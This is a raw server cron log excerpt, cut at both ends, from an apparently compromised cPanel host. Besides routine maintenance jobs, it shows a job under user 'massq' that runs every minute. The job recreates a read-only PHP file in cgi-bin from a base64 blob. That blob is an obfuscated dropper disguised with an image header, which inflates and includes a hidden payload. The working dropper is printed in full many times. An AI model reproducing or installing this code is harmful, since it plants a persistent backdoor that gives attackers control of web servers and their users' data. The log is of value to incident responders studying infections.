GUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:40:01 server CROND[1855]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 17:40:01 server CROND[1856]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 17:40:01 server CROND[1857]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 17:40:01 server CROND[1858]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:41:01 server CROND[1984]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:42:01 server CROND[2211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:42:01 server CROND[2210]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 17:43:01 server CROND[2285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:44:01 server CROND[2347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:45:02 server CROND[2420]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 17:45:02 server CROND[2421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:45:02 server CROND[2422]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 17:46:01 server CROND[2542]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:47:01 server CROND[2601]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:48:01 server CROND[2760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:49:01 server CROND[2856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:50:01 server CROND[2924]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 17:50:01 server CROND[2925]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 17:50:01 server CROND[2926]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 17:50:01 server CROND[2928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:50:01 server CROND[2929]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 17:51:01 server CROND[3054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:52:01 server CROND[3116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:53:01 server CROND[3183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 